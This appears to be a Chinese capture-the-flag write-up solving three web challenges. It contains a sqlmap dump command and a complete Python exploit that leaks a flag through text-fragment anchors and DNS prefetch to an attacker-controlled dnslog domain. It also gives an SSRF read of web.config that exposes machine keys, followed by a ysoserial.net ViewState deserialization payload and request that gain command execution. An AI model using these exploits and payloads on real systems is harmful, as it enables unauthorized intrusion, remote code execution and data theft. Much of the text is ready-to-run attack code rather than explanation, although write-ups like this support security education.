[Web] No Sight Required
sql盲注,输入114514' or 1=1 -- 提示存在,确认为注入点
sqlmap -u "http://104.198.24.52:6013/search?id=4" --random-agent --dbms=sqlite -T secret_flags --dump --threads=5
[Web] Go Touch Grass
这题考查STTF(Scroll To Text Fragment),配合DNS外带。STTF介绍
简单来说,当url最后携带#:~:text=时,浏览器会自动滚动到含有对应文字的锚点,博客的目录常使用这个特性。同时,本题还涉及lazyload的DNS预解析问题。只有当显示到的时候,会触发dns预解析,将数据外带出去。结合代码来看,bot会开启一个顶部写有flag的浏览器,同时接受base64解码后的note显示在后面。
我们写有两个锚定文本,这时候对第一个SSTF锚点进行按位爆破,第二个写固定的文本(这个会附加到note尾部,如果flag没有匹配到,就会滚动到末尾)。note填充了大量的换行符。如果flag部分正确,页面就会锚定在顶部,不会滚动到最下面的lazyload部分,也就没有dnslog。但如果不正确,就会滚动到第二个锚点,也就是底部,从而触发lazyload的DNS预解析。
prefix_part = urllib.parse.quote(known_flag + char_to_test)sttf_hash = f"#:~:text={prefix_part}&text={footer_text}"看这个就很清楚了,原理上很像SQL盲注。上ai写的exp。DNSLog.cn每隔一段时间会自动清空记录,而且网络实际上也不是很稳定,所以至少二次确认才能保证猜测正确。
import requestsimport urllib.parseimport timeimport sysimport base64import random
# ================= 配置区域 =================# 1. 题目地址BASE_URL = "http://34.10.220.48:6005"BOT_URL = f"{BASE_URL}/bot"
# 2. DNSLog 配置YOUR_DNS_DOMAIN = "test.bwuzoi.dnslog.cn"# PHPSESSIDDNSLOG_COOKIE = {"PHPSESSID": "j559joadg0rbbf8jo6hqchtrt3"}
# 3. 爆破配置known_flag = "flag" # 注意没有花括号charset = "0123456789abcdefghijklmnopqrstuvwxyz"
# 重试配置MAX_RETRIES = 2# ===========================================
def get_dns_records(): """从 dnslog.cn 获取当前所有记录""" try: url = f"http://dnslog.cn/getrecords.php?t={random.random()}" r = requests.get(url, cookies=DNSLOG_COOKIE, timeout=10) return r.json() except Exception as e: print(f"\n[!] 获取 DNSLog 失败: {e}") return []
def generate_payload(char_to_test, unique_id): """生成攻击 Payload""" char_hex = char_to_test.encode().hex()
# 构造唯一子域名 inner_dns_url = f"//{char_hex}-{unique_id}.{YOUR_DNS_DOMAIN}"
# 内部 Link (DNS 触发器) link_html = f'<link rel="dns-prefetch" href="{inner_dns_url}">' link_html_enc = urllib.parse.quote(link_html)
# 外部 HTML (撑开高度) padding = "<pre>" + "\n"*3000 + "</pre>" footer_text = "MY_FOOTER"
# 懒加载 iframe iframe = f'<iframe loading="lazy" src="/?note={link_html_enc}" width="10" height="10"></iframe>'
raw_html = f"{padding}<div id='footer'>{footer_text}</div>{iframe}"
# URL 编码防止换行符截断 safe_html_for_url = urllib.parse.quote(raw_html)
# STTF 锚点 # sttf_hash = f"#:~:text={known_flag}{char_to_test}&text={footer_text}"
prefix_part = urllib.parse.quote(known_flag + char_to_test) sttf_hash = f"#:~:text={prefix_part}&text={footer_text}"
final_data = safe_html_for_url + sttf_hash b64_payload = base64.b64encode(final_data.encode()).decode()
return b64_payload, f"{char_hex}-{unique_id}"
def test_character_once(char, attempt_label=""): """ 执行一次单次测试 返回: True (收到DNS,说明猜错), False (没收到DNS,可能是Flag) """ unique_id = str(int(time.time()))[-5:] + str(random.randint(10,99)) payload, target_id = generate_payload(char, unique_id)
print(f"[*] 测试 '{char}' {attempt_label} (ID: {target_id})... ", end="") sys.stdout.flush()
try: # 1. 发送 requests.get(BOT_URL, params={"note": payload}, timeout=5)
# 2. 等待 (11秒 Rate Limit) for i in range(11, 0, -1): # 简单的倒计时动画,不换行 print(f"等待 {i}s... ", end="\r") time.sleep(1)
# 3. 检查 records = get_dns_records()
received = False for rec in records: if target_id in rec[0]: received = True break
if received: print(f"❌ 收到 DNS (排除) ") return True # 收到=错误 else: print(f"⚠️ 未收到 DNS (疑似正确) ") return False # 没收到=疑似正确
except Exception as e: print(f"Error: {e}") # 如果报错,为了安全起见,假设它没收到(让外层去重试) return False
def attack(): global known_flag print(f"[+] 目标: {known_flag}...")
while True: print(f"\n[--- 正在爆破下一位,当前: {known_flag} ---]") found_char = False
for char in charset: # === 第一轮测试 === is_wrong = test_character_once(char)
if is_wrong: # 确定猜错了,直接下一个 continue
is_confirmed_flag = True for i in range(MAX_RETRIES): print(f" [!] 正在进行第 {i+1}/{MAX_RETRIES} 次复核验证...")
# 再次测试 is_wrong_again = test_character_once(char, f"[复核{i+1}]")
if is_wrong_again: print(f" [X] 验证失败:复核时收到了 DNS,排除 '{char}'。") is_confirmed_flag = False break # 跳出复核循环,继续测下一个字符
if is_confirmed_flag: # 通过了所有复核,都没收到 DNS print(f"\n✅ 确认字符: {char}") known_flag += char found_char = True break # 跳出字符循环,开始爆破下一位
if not found_char: print("[!] 本轮所有字符都收到了 DNS,或者验证全部失败。") break
if known_flag.endswith("}"): print(f"\nFlag: {known_flag}") break
if __name__ == "__main__": attack()收到了flag5n34kydn5f3tch,看源码去除了花括号,补上后即为正确flag: flag{5n34kydn5f3tch}
这里放一下原题: main.py
from flask import Flask, request, make_response, render_template_stringimport os, base64, sys, threading, time, jsonify, nh3from selenium import webdriverfrom selenium.webdriver.chrome.options import Optionsfrom flask_limiter import Limiterfrom flask_limiter.util import get_remote_address
app = Flask(__name__)
PORT = 6005
flag = open('flag.txt').read().strip()# flag charset is string.ascii_lowercase + string.digits
ALLOWED_TAGS = { 'a', 'b', 'blockquote', 'br', 'code', 'div', 'em', 'h1', 'h2', 'h3', 'i', 'iframe', 'img', 'li', 'link', 'ol', 'p', 'pre', 'span', 'strong', 'ul'}ALLOWED_ATTRIBUTES = { 'a': {'href', 'target'}, 'link': {'rel', 'href', 'type', 'as'}, '*': {
'style','src', 'width', 'height', 'alt', 'title', 'lang', 'dir', 'loading', 'role', 'aria-label' }}
APP_LIMIT_TIME = 60APP_LIMIT_COUNT = 5
limiter = Limiter( get_remote_address, app=app, storage_uri="memory://")
@app.errorhandler(429)def ratelimit_handler(e): return jsonify({ "error": f"Too many requests, please try again later. Limit is {APP_LIMIT_COUNT} requests per {APP_LIMIT_TIME} seconds." }), 429
template = """<!DOCTYPE html><html><head>
</head><body> <div class="head"></div> {% if flag %} <div class="flag"><h1>{{ flag }}</h1></div> {% endif %} {% if note %} <div class="note">{{ note | safe}}</div> {% endif %} <script nonce="{{ nonce }}"> Array.from(document.getElementsByClassName('flag')).forEach(function(element) { let text = element.innerText; element.innerHTML = ''; for (let i = 0; i < text.length; i++) { let charElem = document.createElement('span'); charElem.innerText = text[i]; element.appendChild(charElem); } }); </script></body></html>"""
@app.route('/', methods=['GET'])def index():
_flag = request.cookies.get('flag', None) nonce = base64.b64encode(os.urandom(32)).decode('utf-8') _note = request.args.get('note', 'Try putting your note with /?note=..') clean_note = nh3.clean( _note, tags=ALLOWED_TAGS, attributes=ALLOWED_ATTRIBUTES, )
rendered = render_template_string( template, nonce=nonce, flag=_flag, note=clean_note, )
response = make_response(rendered)
response.headers['Content-Security-Policy'] = ( f"default-src 'none'; script-src 'nonce-{nonce}'; style-src 'none'; " "base-uri 'none'; frame-ancestors 'self'; frame-src 'self'; object-src 'none'; " ) response.headers['Referrer-Policy'] = 'no-referrer' response.headers['X-Frame-Options'] = 'SAMEORIGIN' response.headers['X-Content-Type-Options'] = 'nosniff'
return response
def admin_visit(raw_data_b64: str): try:
try: data = base64.b64decode(raw_data_b64.encode('utf-8')).decode('utf-8') except Exception as e: print(f"[BOT] base64 decode error: {e}", file=sys.stderr) return
url = f"http://127.0.0.1:6005/?note={data}" print(f"[BOT] Visiting {url}", file=sys.stderr)
options = Options() options.add_argument("--headless") options.add_argument("--no-sandbox") options.add_argument("--disable-dev-shm-usage") options.add_argument("--disable-gpu")
driver = webdriver.Chrome(options=options)
try:
driver.get("http://127.0.0.1:6005/") driver.add_cookie({ 'name': 'flag', 'value': flag.replace("{", "").replace("}", ""), 'path': '/', 'httpOnly': True, 'sameSite': 'Strict' })
print(f"[BOT] Now visiting target URL {url}", file=sys.stderr)
driver.set_page_load_timeout(5) try: driver.get(url) except Exception as e: print(f"[BOT] error during driver.get: {e}", file=sys.stderr) time.sleep(5) finally: driver.quit() print(f"[BOT] Done visiting URL {url}", file=sys.stderr)
except Exception as e: print(f"[BOT] Unexpected bot error: {e}", file=sys.stderr)
@app.route('/bot', methods=['GET'])@limiter.limit(f"{APP_LIMIT_COUNT} per {APP_LIMIT_TIME} second")def bot(): raw_data = request.args.get('note') if not raw_data: return make_response("Missing ?note parameter\n", 400)
t = threading.Thread(target=admin_visit, args=(raw_data,)) t.daemon = True t.start()
return make_response("Admin will visit this URL soon.\n", 202)
if __name__ == '__main__': app.run(port=PORT, debug=False, host='0.0.0.0')[Web] .net painwork
访问http://4.188.81.42/%2f/admin.aspx可以绕过登陆,并且拿到凭据用于SSRF。
考虑__VIEWSTATE的反序列化,先要读取web.config,输入file:///c:/inetpub/wwwroot/web.config点击查询,获得validation validationKey
{ "ok": true, "statusCode": 200, "headers": [ { "name": "Content-Length", "value": "1833" }, { "name": "Content-Type", "value": "application/octet-stream" } ], "snippet": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<configuration>\r\n <appSettings></appSettings>\r\n <system.web>\r\n <compilation targetFramework=\"4.8\" />\r\n <authentication mode=\"Forms\">\r\n <forms loginUrl=\"~/login.aspx\" timeout=\"30\" />\r\n </authentication>\r\n <machineKey validation=\"SHA1\" decryption=\"AES\" validationKey=\"AC4DCFDDF3BB46EC1506BD671BEE55D5666B7B0B\" decryptionKey=\"AB4298433692C6911B75665DEFA47AD09EA856BE41879334\" />\r\n <httpRuntime targetFramework=\"4.5\" />\r\n </system.web>\r\n <system.webServer>\r\n <modules runAllManagedModulesForAllRequests=\"true\" />\r\n <handlers>\r\n <add name=\"HealthHandler\" path=\"health.ashx\" verb=\"*\" type=\"Health.Handlers.HealthHandler\" resourceType=\"Unspecified\" />\r\n </handlers>\r\n </system.webServer>\r\n <runtime>\r\n <assemblyBinding xmlns=\"urn:schemas-microsoft-com:asm.v1\">\r\n <dependentAssembly>\r\n <assemblyIdentity name=\"WebGrease\" publicKeyToken=\"31bf3856ad364e35\" culture=\"neutral\" />\r\n <bindingRedirect oldVersion=\"0.0.0.0-1.6.5135.21930\" newVersion=\"1.6.5135.21930\" />\r\n </dependentAssembly>\r\n <dependentAssembly>\r\n <assemblyIdentity name=\"Antlr3.Runtime\" publicKeyToken=\"eb42632606e9261f\" culture=\"neutral\" />\r\n <bindingRedirect oldVersion=\"0.0.0.0-3.5.0.2\" newVersion=\"3.5.0.2\" />\r\n </dependentAssembly>\r\n <dependentAssembly>\r\n <assemblyIdentity name=\"Newtonsoft.Json\" publicKeyToken=\"30ad4fe6b2a6aeed\" culture=\"neutral\" />\r\n <bindingRedirect oldVersion=\"0.0.0.0-13.0.0.0\" newVersion=\"13.0.0.0\" />\r\n </dependentAssembly>\r\n </assemblyBinding>\r\n </runtime>\r\n <location path=\"health.ashx\">\r\n <system.web>\r\n <authorization>\r\n <allow users=\"*\" /> </authorization>\r\n </system.web>\r\n </location>\r\n</configuration>\r\n<!--ProjectGuid: 8371CAB5-57D6-4087-BC6A-7E3514CE52C2-->", "error": null}访问/login.aspx,获得generator,这里是C2EE9ABB
用ysoserial.net构造反序列化。这里最好用C:\Windows\Temp\,不然没有权限写。
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami > C:\Windows\Temp\test.txt" --generator="C2EE9ABB" --validationKey="AC4DCFDDF3BB46EC1506BD671BEE55D5666B7B0B" --alg="SHA1"回到/login.aspx,篡改__VIEWSTATE
LoginBtn=Login&PasswordBox=admin&__EVENTVALIDATION=GjcT45wL8O4LBYanAbQwP0hxOJT3HhIJy0gE36JI0o%2BS6QqLm0TDglBjAZzQlFM1zusz8ZR%2BbyLqmqbz7B9qrnEauB1RfhYer%2FB4zRofB%2BBL6Y4MvHfDnE1ubACd1nQhrFyYYg%3D%3D&__VIEWSTATE=%2FwEyuAcAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADaBTw%2FeG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi0xNiI%2FPg0KPE9iamVjdERhdGFQcm92aWRlciBNZXRob2ROYW1lPSJTdGFydCIgSXNJbml0aWFsTG9hZEVuYWJsZWQ9IkZhbHNlIiB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiB4bWxuczpzZD0iY2xyLW5hbWVzcGFjZTpTeXN0ZW0uRGlhZ25vc3RpY3M7YXNzZW1ibHk9U3lzdGVtIiB4bWxuczp4PSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCI%2BDQogIDxPYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U%2BDQogICAgPHNkOlByb2Nlc3M%2BDQogICAgICA8c2Q6UHJvY2Vzcy5TdGFydEluZm8%2BDQogICAgICAgIDxzZDpQcm9jZXNzU3RhcnRJbmZvIEFyZ3VtZW50cz0iL2MgY21kIC9jIHdob2FtaSAmZ3Q7IEM6XFdpbmRvd3NcVGVtcFx0ZXN0LnR4dCIgU3RhbmRhcmRFcnJvckVuY29kaW5nPSJ7eDpOdWxsfSIgU3RhbmRhcmRPdXRwdXRFbmNvZGluZz0ie3g6TnVsbH0iIFVzZXJOYW1lPSIiIFBhc3N3b3JkPSJ7eDpOdWxsfSIgRG9tYWluPSIiIExvYWRVc2VyUHJvZmlsZT0iRmFsc2UiIEZpbGVOYW1lPSJjbWQiIC8%2BDQogICAgICA8L3NkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgIDwvc2Q6UHJvY2Vzcz4NCiAgPC9PYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U%2BDQo8L09iamVjdERhdGFQcm92aWRlcj4LJo2dYwVgcDzbUc55S%2ByU37T59c9YtlC3yi24zgTOZLQ%3D&__VIEWSTATEGENERATOR=C2EE9ABB提示Server Error in '/' Application.,再次SSRF读取file:///C:/Windows/Temp/test.txt
{ "ok": true, "statusCode": 200, "headers": [ { "name": "Content-Length", "value": "50" }, { "name": "Content-Type", "value": "application/octet-stream" } ], "snippet": "flag{tlqp8s5h_eurzla5g_feepuqi9_qsgmjxj5_mcmd2kt8}", "error": null}如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时









